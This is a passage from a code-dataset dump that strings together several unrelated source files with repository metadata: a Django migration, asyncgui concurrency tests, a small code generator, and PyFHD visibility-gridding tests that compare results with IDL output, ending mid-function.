] | 3 | 2018-01-31T03:08:50.000Z | 2018-04-25T12:57:01.000Z | src/chapter27/__init__.py | HideLakitu/IntroductionToAlgorithm.Python | 33662f46dc346203b220d7481d1a4439feda05d2 | [
"Apache-2.0"
] | null | null | null | src/chapter27/__init__.py | HideLakitu/IntroductionToAlgorithm.Python | 33662f46dc346203b220d7481d1a4439feda05d2 | [
"Apache-2.0"
] | 3 | 2019-03-03T04:49:53.000Z | 2020-07-13T10:18:58.000Z |
# python src/chapter27/chapter27note.py
# python3 src/chapter27/chapter27note.py
| 20.5 | 40 | 0.817073 | 10 | 82 | 6.7 | 0.6 | 0.358209 | 0.746269 | 0.80597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12 | 0.085366 | 82 | 3 | 41 | 27.333333 | 0.773333 | 0.926829 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7b5abc204b15d863d79c6c39f4426b3c083aed81 | 50 | py | Python | src/ertk/pytorch/__init__.py | agkphysics/emotion | 36bb9265f9439b10676fb539d5334cce645e49ef | [
"MIT"
] | 1 | 2020-06-14T03:37:46.000Z | 2020-06-14T03:37:46.000Z | src/ertk/pytorch/__init__.py | agkphysics/emotion | 36bb9265f9439b10676fb539d5334cce645e49ef | [
"MIT"
] | null | null | null | src/ertk/pytorch/__init__.py | agkphysics/emotion | 36bb9265f9439b10676fb539d5334cce645e49ef | [
"MIT"
] | null | null | null | from .models import get_pt_model, get_pt_model_fn
| 25 | 49 | 0.86 | 10 | 50 | 3.8 | 0.7 | 0.263158 | 0.526316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 50 | 1 | 50 | 50 | 0.844444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
7bb386a10a9702ffc46010cf8188b176e22c6262 | 147 | py | Python | app/utils.py | richardpanda/kraken | d37c0a27f41e53846c9a11f562dea328bdb21248 | [
"MIT"
] | null | null | null | app/utils.py | richardpanda/kraken | d37c0a27f41e53846c9a11f562dea328bdb21248 | [
"MIT"
] | 1 | 2021-06-01T22:09:12.000Z | 2021-06-01T22:09:12.000Z | app/utils.py | richardpanda/kraken | d37c0a27f41e53846c9a11f562dea328bdb21248 | [
"MIT"
] | null | null | null | import random
from string import ascii_uppercase, digits
def generate_code():
return ''.join(random.choices(ascii_uppercase + digits, k=6))
| 18.375 | 65 | 0.755102 | 20 | 147 | 5.4 | 0.75 | 0.259259 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007937 | 0.142857 | 147 | 7 | 66 | 21 | 0.849206 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 10 |
c88337023eace329794401529af347886748be95 | 2,221 | py | Python | src/proposals/migrations/0011_auto_20151222_1743.py | kaka-lin/pycon.tw | 67809a5e43b03273ac8d8f5a1b6b3d3f73474be7 | [
"MIT"
] | 47 | 2015-12-19T10:23:11.000Z | 2018-06-13T08:07:33.000Z | src/proposals/migrations/0011_auto_20151222_1743.py | kaka-lin/pycon.tw | 67809a5e43b03273ac8d8f5a1b6b3d3f73474be7 | [
"MIT"
] | 473 | 2018-12-01T13:01:48.000Z | 2022-03-30T07:10:42.000Z | src/proposals/migrations/0011_auto_20151222_1743.py | kaka-lin/pycon.tw | 67809a5e43b03273ac8d8f5a1b6b3d3f73474be7 | [
"MIT"
] | 91 | 2018-07-26T02:38:59.000Z | 2022-01-16T02:38:31.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2015-12-22 17:43
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('proposals', '0010_auto_20151221_1440'),
]
operations = [
migrations.AlterField(
model_name='talkproposal',
name='detailed_description',
field=models.TextField(blank=True, help_text="Try not be too lengthy to scare away reviewers or potential audience. A comfortable length is less than 1000 characters (or about 600 Chinese characters). Since most reviewers may not understand the topic as deep as you do, including related links to the talk topic will help reviewers understand the proposal. Edit using <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", verbose_name='detailed description'),
),
migrations.AlterField(
model_name='talkproposal',
name='objective',
field=models.TextField(help_text="What will the attendees get out of your talk? When they leave the room, what will they learn that they didn't know before?", max_length=500, verbose_name='objective'),
),
migrations.AlterField(
model_name='tutorialproposal',
name='detailed_description',
field=models.TextField(blank=True, help_text="Try not be too lengthy to scare away reviewers or potential audience. A comfortable length is less than 1000 characters (or about 600 Chinese characters). Since most reviewers may not understand the topic as deep as you do, including related links to the talk topic will help reviewers understand the proposal. Edit using <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", verbose_name='detailed description'),
),
migrations.AlterField(
model_name='tutorialproposal',
name='objective',
field=models.TextField(help_text="What will the attendees get out of your talk? When they leave the room, what will they learn that they didn't know before?", max_length=500, verbose_name='objective'),
),
]
| 61.694444 | 510 | 0.706889 | 288 | 2,221 | 5.361111 | 0.392361 | 0.051813 | 0.064767 | 0.07513 | 0.875648 | 0.875648 | 0.801813 | 0.801813 | 0.801813 | 0.801813 | 0 | 0.028879 | 0.204863 | 2,221 | 35 | 511 | 63.457143 | 0.845413 | 0.029266 | 0 | 0.714286 | 1 | 0.142857 | 0.590804 | 0.037622 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c8b3030658d6d195964b658629c71aadef3a66bf | 7,592 | py | Python | tests/structured_concurrency/and/test_simple_situation.py | gottadiveintopython/asyncgui | abfe7759f189321ad24e5711149b85a14062cb3c | [
"MIT"
] | null | null | null | tests/structured_concurrency/and/test_simple_situation.py | gottadiveintopython/asyncgui | abfe7759f189321ad24e5711149b85a14062cb3c | [
"MIT"
] | null | null | null | tests/structured_concurrency/and/test_simple_situation.py | gottadiveintopython/asyncgui | abfe7759f189321ad24e5711149b85a14062cb3c | [
"MIT"
] | null | null | null | import pytest
async def finish_immediately(e=None):
pass
async def fail_immediately(e=None):
raise ZeroDivisionError
async def finish_soon(e):
await e.wait()
async def fail_soon(e):
await e.wait()
raise ZeroDivisionError
async def fail_on_cancel(e=None):
import asyncgui as ag
try:
await ag.sleep_forever()
finally:
raise ZeroDivisionError
async def finish_soon_but_protected(e):
import asyncgui as ag
async with ag.cancel_protection():
await e.wait()
def test_no_child():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main():
tasks = await and_()
assert len(tasks) == 0
main_task = ag.start(main())
assert main_task.done
def test_one_child_finishes_immediately():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main():
tasks = await and_(finish_immediately())
assert [True, ] == [task.done for task in tasks]
main_task = ag.start(main())
assert main_task.done
def test_multiple_children_finish_immediately():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main():
tasks = await and_(finish_immediately(), finish_immediately())
assert [True, True] == [task.done for task in tasks]
main_task = ag.start(main())
assert main_task.done
def test_one_child_fails_immediately():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main():
with pytest.raises(ZeroDivisionError):
await and_(fail_immediately())
main_task = ag.start(main())
assert main_task.done
def test_multiple_children_fail_immediately():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main():
with pytest.raises(ag.MultiError) as excinfo:
await and_(fail_immediately(), fail_immediately())
assert [ZeroDivisionError, ZeroDivisionError] == \
[type(e) for e in excinfo.value.exceptions]
main_task = ag.start(main())
assert main_task.done
def test_one_child_finishes_soon():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
tasks = await and_(finish_soon(e))
assert [True, ] == [task.done for task in tasks]
e = ag.Event()
main_task = ag.start(main(e))
assert not main_task.done
e.set()
assert main_task.done
def test_multiple_children_finish_soon():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
tasks = await and_(finish_soon(e), finish_soon(e))
assert [True, True] == [task.done for task in tasks]
e = ag.Event()
main_task = ag.start(main(e))
assert not main_task.done
e.set()
assert main_task.done
def test_one_child_fails_soon():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
with pytest.raises(ZeroDivisionError):
await and_(fail_soon(e))
e = ag.Event()
main_task = ag.start(main(e))
assert not main_task.done
e.set()
assert main_task.done
def test_multiple_children_fail_soon():
'''
MultiErrorが起こるように思えるが、１つ目の子で例外が起こるや否や２つ目
は即中断されるため、２つ目では例外は起こらない
'''
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
with pytest.raises(ZeroDivisionError):
await and_(fail_soon(e), fail_soon(e))
e = ag.Event()
main_task = ag.start(main(e))
assert not main_task.done
e.set()
assert main_task.done
def test_multiple_children_fail():
'''
１つ目の子で例外が起こる事で２つ目が中断される。その時２つ目でも例外が
起きるためMultiErrorが湧く。
'''
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
with pytest.raises(ag.MultiError) as excinfo:
await and_(fail_soon(e), fail_on_cancel())
assert [ZeroDivisionError, ZeroDivisionError] == \
[type(e) for e in excinfo.value.exceptions]
e = ag.Event()
main_task = ag.start(main(e))
assert not main_task.done
e.set()
assert main_task.done
def test_必ず例外を起こす子_を複数持つ親を中断():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
TS = ag.TaskState
async def main(e):
with pytest.raises(ag.MultiError) as excinfo:
await and_(fail_on_cancel(), fail_on_cancel())
assert [ZeroDivisionError, ZeroDivisionError] == \
[type(e) for e in excinfo.value.exceptions]
await e.wait()
pytest.fail("Failed to cancel")
e = ag.Event()
main_task = ag.Task(main(e))
ag.start(main_task)
assert main_task.state is TS.STARTED
main_task.cancel()
assert main_task.state is TS.CANCELLED
def test_必ず例外を起こす子_を複数持つ親を中断_2():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
TS = ag.TaskState
async def main():
await and_(fail_on_cancel(), fail_on_cancel())
pytest.fail("Failed to cancel")
main_task = ag.Task(main())
ag.start(main_task)
assert main_task.state is TS.STARTED
with pytest.raises(ag.MultiError) as excinfo:
main_task.cancel()
assert [ZeroDivisionError, ZeroDivisionError] == \
[type(e) for e in excinfo.value.exceptions]
assert main_task.state is TS.CANCELLED
def test_例外を起こさない子_を一つ持つ親を中断():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
TS = ag.TaskState
async def main():
await and_(ag.sleep_forever())
pytest.fail()
main_task = ag.Task(main())
ag.start(main_task)
assert main_task.state is TS.STARTED
main_task.cancel()
assert main_task.state is TS.CANCELLED
def test_例外を起こさない子_を複数持つ親を中断():
import asyncgui as ag
from asyncgui.structured_concurrency import and_
TS = ag.TaskState
async def main():
await and_(ag.sleep_forever(), ag.sleep_forever())
pytest.fail()
main_task = ag.Task(main())
ag.start(main_task)
assert main_task.state is TS.STARTED
main_task.cancel()
assert main_task.state is TS.CANCELLED
class Test_cancel_protection:
@pytest.mark.parametrize(
'other_child', (fail_on_cancel, fail_immediately))
def test_other_child_fails(self, other_child):
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
with pytest.raises(ZeroDivisionError):
await and_(finish_soon_but_protected(e), other_child(e))
e = ag.Event()
main_task = ag.Task(main(e))
ag.start(main_task)
assert not main_task.done
main_task.cancel()
assert not main_task.done
e.set()
assert main_task.done
@pytest.mark.parametrize('other_child',
(fail_soon, finish_immediately, finish_soon,
finish_soon_but_protected))
def test_other_child_does_not_fail(self, other_child):
import asyncgui as ag
from asyncgui.structured_concurrency import and_
async def main(e):
await and_(finish_soon_but_protected(e), other_child(e))
pytest.fail("Failed to cancel")
e = ag.Event()
main_task = ag.Task(main(e))
ag.start(main_task)
assert not main_task.cancelled
main_task.cancel()
assert not main_task.cancelled
e.set()
assert main_task.cancelled
| 25.823129 | 72 | 0.67176 | 1,004 | 7,592 | 4.861554 | 0.085657 | 0.093423 | 0.057365 | 0.06638 | 0.867855 | 0.844499 | 0.812743 | 0.790002 | 0.780988 | 0.769924 | 0 | 0.001387 | 0.240253 | 7,592 | 293 | 73 | 25.911263 | 0.844834 | 0.015806 | 0 | 0.770335 | 0 | 0 | 0.009417 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 1 | 0.076555 | false | 0.004785 | 0.167464 | 0 | 0.248804 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c8cc6783ae1edc60e4bddcab0f6b2c4ceb7360dc | 20,448 | py | Python | tests/test_gridding/test_visibility_grid.py | ADACS-Australia/PyFHD | f4b9c254bbea699e1cf66f1400b05f8dace69f9f | [
"MIT"
] | 2 | 2022-02-21T05:55:58.000Z | 2022-03-15T02:41:00.000Z | tests/test_gridding/test_visibility_grid.py | ADACS-Australia/PyFHD | f4b9c254bbea699e1cf66f1400b05f8dace69f9f | [
"MIT"
] | null | null | null | tests/test_gridding/test_visibility_grid.py | ADACS-Australia/PyFHD | f4b9c254bbea699e1cf66f1400b05f8dace69f9f | [
"MIT"
] | null | null | null | import pytest
import numpy.testing as npt
from os import environ as env
from pathlib import Path
from PyFHD.gridding.visibility_grid import visibility_grid
from PyFHD.pyfhd_tools.test_utils import get_savs
import time
@pytest.fixture
def data_dir():
return Path(env.get('PYFHD_TEST_PATH'), 'visibility_grid')
@pytest.fixture
def full_data_dir():
return Path(env.get('PYFHD_TEST_PATH'), 'full_size_visibility_grid/')
def test_visibility_grid_one(data_dir):
inputs = get_savs(data_dir,'input_1.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = inputs['variance']
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = False
grid_uniform = False
fi_use = inputs['fi_use']
bi_use = inputs['bi_use']
no_conjugate = False
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_1.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 0.938 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
def test_visibility_grid_two(data_dir):
inputs = get_savs(data_dir,'input_2.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = False
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = inputs['uniform_filter']
grid_uniform = False
fi_use = None
bi_use = None
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = inputs['beam_per_baseline']
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_2.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 3.2399 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
# Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n
# The minor difference in bin_n affected the uniform filter.
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
def test_visibility_grid_three(data_dir):
inputs = get_savs(data_dir,'input_3.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = False
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = inputs['uniform_filter']
grid_uniform = False
fi_use = None
bi_use = None
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = inputs['grid_spectral']
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_3.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 5.585 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
# Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n
# The minor difference in bin_n affected the uniform filter.
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
'''
Now here in theory I should be testing the results of grid spectral using a small tolerance (e.g. 1e-8),
but I can't reasonably test the differences using such a small tolerance.
Here is why.
First, there are small precision error differences between IDL and Python in the spectral calculations, the maximum
absolute difference between the Python and IDL is 1.3e-5, although in most cases its below 1e-6.
This means when we goto calculate our spectral_uv, we multiply, add or subtract the spectral_A, spectral_B and spectral_D
arrays together, which multiplies, adds or subtracts the precision errors too, potentially magnifying them.
These initially small differences can have massive effects, take the use of weight invert in this line below:
spectral_uv = (spectral_A - n_vis * spectral_B * image_uv) * weight_invert(spectral_D - spectral_B ** 2)
If we take the smallest number above 0 in the array spectral_D - spectral_B ** 2 in both Python and IDl we get:
Python: 1.9927779547410943e-12
IDL: 1.9846134e-12 ; Limited to 7 decimal places
The difference between these values are 8.164526283745157e-15 (calculated in Python).
This small difference becomes massive when we take these two small numbers and compute the statement below from weight_invert using
our smallest number's above:
result[i_use] = 1 / weights[i_use]
i.e. result[i_use] = 1 / 1.9927779547410943e-12
This gives:
Python: 503876465643.64197
IDL: 501812054685.2005
That is a difference of 2064410958.44, or 2.06441095844e9, or TWO BILLION.
Even when comparing exactly the same number in IDL (1.9927779547410943e-12),
and using this in 1 / 1.9927779547410943e-12, the difference is in the thousands due to precision error.
This behaviour also mysteriously doesn't appear in our tests of weight_invert, in fact the results are exactly the same
as IDL when doing the weight_invert tests. Just going to show, even the smallest difference of input can change the result of
weight_invert by a drastic amount.
Luckily, these large differences are multiplied by numbers that are the opposite in magnitude (1e-8).
This results in these numbers having a difference of upto (in theory) 9.99, as anything above 10 could indicate a huge difference
in magnitude which does indicate an egregious error.
'''
npt.assert_allclose(gridding_dict['spectral_uv'], outputs['spectral_uv'], atol = 9.99)
def test_visibility_grid_four(data_dir):
inputs = get_savs(data_dir,'input_4.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = inputs['variance']
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = False
grid_uniform = False
fi_use = inputs['fi_use']
bi_use = inputs['bi_use']
no_conjugate = False
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_4.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 0.50837 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
def test_visibility_grid_five(data_dir):
inputs = get_savs(data_dir,'input_5.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = inputs['variance']
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = False
grid_uniform = inputs['grid_uniform']
fi_use = inputs['fi_use']
bi_use = inputs['bi_use']
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_5.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 0.4366 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
def test_visibility_grid_six(data_dir):
inputs = get_savs(data_dir,'input_6.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = False
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = inputs['uniform_filter']
grid_uniform = False
fi_use = None
bi_use = None
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_6.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 3.775 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 2e-7)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
# Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n
# The minor difference in bin_n affected the uniform filter.
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
npt.assert_allclose(gridding_dict['model_return'], outputs['model_return'], atol = 1e-7)
def test_visibility_grid_seven(data_dir):
inputs = get_savs(data_dir,'input_7.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = False
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = inputs['uniform_filter']
grid_uniform = False
fi_use = None
bi_use = None
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = inputs['model_ptr']
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(data_dir, 'output_7.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("This test took {} seconds to process with tests IDL took 2.95 seconds".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1.5e-07)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
# Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n
# The minor difference in bin_n affected the uniform filter.
npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5)
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8)
def test_visibility_grid_full(full_data_dir):
inputs = get_savs(full_data_dir,'input_1.sav')
visibility = inputs['visibility_ptr']
vis_weights = inputs['vis_weight_ptr']
obs = inputs['obs']
status_str = inputs['status_str']
psf = inputs['psf']
params = inputs['params']
weights_flag = inputs['weights']
variance_flag = False
polarization = inputs['polarization']
map_flag = inputs['mapfn_recalculate']
uniform_flag = inputs['uniform_filter']
grid_uniform = False
fi_use = None
bi_use = None
no_conjugate = inputs['no_conjugate']
mask_mirror_indices = False
model = None
grid_spectral = False
beam_per_baseline = False
uv_grid_phase_only = True
outputs = get_savs(full_data_dir, 'output_1.sav')
now = time.time()
gridding_dict = visibility_grid(
visibility,
vis_weights,
obs,
status_str,
psf,
params,
